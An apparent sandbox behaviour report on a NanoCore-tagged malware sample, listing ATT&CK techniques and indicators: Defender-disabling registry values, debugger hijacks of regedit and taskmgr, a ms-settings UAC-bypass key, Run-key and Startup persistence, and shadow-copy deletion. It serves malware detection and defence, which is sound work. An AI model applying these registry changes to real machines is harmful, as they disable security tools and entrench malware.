nanocore | b6db1c8557400ceee9c2b5d2d68e08952153f3016622fe660060fcb7226cd248

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	pyramidpad.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1712	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	pyramidpad.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	pyramidpad.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	pyramidpad.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pyramidpad.io_chrome.exe"	pyramidpad.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	pyramidpad.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pyramidpad.io_chrome.exe"	pyramidpad.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	pyramidpad.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pyramidpad.io_chrome.exe"	pyramidpad.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
1152	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf	pyramidpad.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf	pyramidpad.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf	pyramidpad.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pyramidpad.io_chrome.exe"	pyramidpad.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pyramidpad.io_chrome.exe"	pyramidpad.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pyramidpad.io_chrome.exe"	pyramidpad.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
1848	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	pyramidpad.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	pyramidpad.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	pyramidpad.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
5348	wscript.exe
1500	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	pyramidpad.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	pyramidpad.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2672	sc.exe
3360	sc.exe
5604	sc.exe
1224	sc.exe
4876	sc.exe
628	sc.exe
3184	sc.exe
5620	sc.exe
5904	sc.exe
4284	sc.exe
4544	sc.exe
3504	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2712	cmd.exe
1224	cmd.exe
6012	cmd.exe
5904	cmd.exe
3952	cmd.exe
4356	cmd.exe
5320	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5952	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
4180	ipconfig.exe
2792	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4592	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5832	vssadmin.exe
5524	vssadmin.exe
2820	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\WallpaperStyle = "2"	pyramidpad.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134304438587957008"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings	pyramidpad.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open	pyramidpad.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	pyramidpad.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pyramidpad.io_chrome.exe"	pyramidpad.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	pyramidpad.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\pyramidpad.io_chrome.exe\" \"%1\""	pyramidpad.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell	pyramidpad.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\DelegateExecute	pyramidpad.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command	pyramidpad.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings	pyramidpad.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	pyramidpad.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open	pyramidpad.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell	pyramidpad.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	pyramidpad.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	pyramidpad.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command	pyramidpad.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3880	schtasks.exe
4364	schtasks.exe
5296	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5044	chrome.exe
5044	chrome.exe
1712	powershell.exe
1712	powershell.exe
1712	powershell.exe
3796	WMIC.exe
3796	WMIC.exe
3796	WMIC.exe
3796	WMIC.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
2836	WMIC.exe
2836	WMIC.exe
2836	WMIC.exe
2836	WMIC.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
2456	WMIC.exe
2456	WMIC.exe
2456	WMIC.exe
2456	WMIC.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe
4076	pyramidpad.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4076	pyramidpad.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5044	chrome.exe
Token: SeCreatePagefilePrivilege	5044	chrome.exe
Token: SeDebugPrivilege	1712	powershell.exe
Token: SeShutdownPrivilege	5044	chrome.exe
Token: SeCreatePagefilePrivilege	5044	chrome.exe
Token: SeShutdownPrivilege	5044	chrome.exe
Token: SeCreatePagefilePrivilege	5044	chrome.exe
Token: SeShutdownPrivilege	5044	chrome.exe
Token: SeCreatePagefilePrivilege	5044	chrome.exe
Token: SeIncreaseQuotaPrivilege	3796	WMIC.exe
Token: SeSecurityPrivilege	3796	WMIC.exe
Token: SeTakeOwnershipPrivilege	3796	WMIC.exe
Token: SeLoadDriverPrivilege	3796	WMIC.exe
Token: SeSystemProfilePrivilege	3796	WMIC.exe
Token: SeSystemtimePrivilege	3796	WMIC.exe
Token: SeProfSingleProcessPrivilege	3796	WMIC.exe
Token: SeIncBasePriorityPrivilege	3796	WMIC.exe
Token: SeCreatePagefilePrivilege	3796	WMIC.exe
Token: SeBackupPrivilege	3796	WMIC.exe
Token: SeRestorePrivilege	3796	WMIC.exe
Token: SeShutdownPrivilege	3796	WMIC.exe
Token: SeDebugPrivilege	3796	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3796	WMIC.exe
Token: SeRemoteShutdownPrivilege	3796	WMIC.exe
Token: SeUndockPrivilege	3796	WMIC.exe
Token: SeManageVolumePrivilege	3796	WMIC.exe
Token: 33	3796	WMIC.exe
Token: 34	3796	WMIC.exe
Token: 35	3796	WMIC.exe
Token: 36	3796	WMIC.exe
Token: SeBackupPrivilege	2064	vssvc.exe
Token: SeRestorePrivilege	2064	vssvc.exe
Token: SeAuditPrivilege	2064	vssvc.exe
Token: SeIncreaseQuotaPrivilege	3796	WMIC.exe
Token: SeSecurityPrivilege	3796	WMIC.exe
Token: SeTakeOwnershipPrivilege	3796	WMIC.exe
Token: SeLoadDriverPrivilege	3796	WMIC.exe
Token: SeSystemProfilePrivilege	3796	WMIC.exe
Token: SeSystemtimePrivilege	3796	WMIC.exe
Token: SeProfSingleProcessPrivilege	3796	WMIC.exe
Token: SeIncBasePriorityPrivilege	3796	WMIC.exe
Token: SeCreatePagefilePrivilege	3796	WMIC.exe
Token: SeBackupPrivilege	3796	WMIC.exe
Token: SeRestorePrivilege	3796	WMIC.exe
Token: SeShutdownPrivilege	3796	WMIC.exe
Token: SeDebugPrivilege	3796	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3796	WMIC.exe
Token: SeRemoteShutdownPrivilege	3796	WMIC.exe
Token: SeUndockPrivilege	3796	WMIC.exe
Token: SeManageVolumePrivilege	3796	WMIC.exe
Token: 33	3796	WMIC.exe
Token: 34	3796	WMIC.exe
Token: 35	3796	WMIC.exe
Token: 36	3796	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1712	powershell.exe
Token: SeSecurityPrivilege	1712	powershell.exe
Token: SeTakeOwnershipPrivilege	1712	powershell.exe
Token: SeLoadDriverPrivilege	1712	powershell.exe
Token: SeSystemProfilePrivilege	1712	powershell.exe
Token: SeSystemtimePrivilege	1712	powershell.exe
Token: SeProfSingleProcessPrivilege	1712	powershell.exe
Token: SeIncBasePriorityPrivilege	1712	powershell.exe
Token: SeCreatePagefilePrivilege	1712	powershell.exe
Token: SeBackupPrivilege	1712	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe
5044	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4076	pyramidpad.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4076 wrote to memory of 5044	4076	pyramidpad.io_chrome.exe	89
PID 5044 wrote to memory of 3792	5044	chrome.exe	90
PID 4076 wrote to memory of 1712	4076	pyramidpad.io_chrome.exe	91
PID 4076 wrote to memory of 1224	4076	pyramidpad.io_chrome.exe	144
PID 5044 wrote to memory of 3476	5044	chrome.exe	95
PID 5044 wrote to memory of 5952	5044	chrome.exe	96
PID 5044 wrote to memory of 3476	5044	chrome.exe	95
PID 5044 wrote to memory of 5112	5044	chrome.exe	97
PID 5044 wrote to memory of 5112	5044	chrome.exe	97
PID 4076 wrote to memory of 4876	4076	pyramidpad.io_chrome.exe	98
PID 5044 wrote to memory of 4396	5044	chrome.exe	101
PID 5044 wrote to memory of 3844	5044	chrome.exe	102
PID 5044 wrote to memory of 4396	5044	chrome.exe	101
PID 5044 wrote to memory of 3844	5044	chrome.exe	102
PID 4076 wrote to memory of 4284	4076	pyramidpad.io_chrome.exe	103
PID 5044 wrote to memory of 420	5044	chrome.exe	104
PID 5044 wrote to memory of 420	5044	chrome.exe	104
PID 4076 wrote to memory of 4544	4076	pyramidpad.io_chrome.exe	106
PID 4076 wrote to memory of 3504	4076	pyramidpad.io_chrome.exe	108
PID 4076 wrote to memory of 628	4076	pyramidpad.io_chrome.exe	110
PID 4076 wrote to memory of 3184	4076	pyramidpad.io_chrome.exe	141
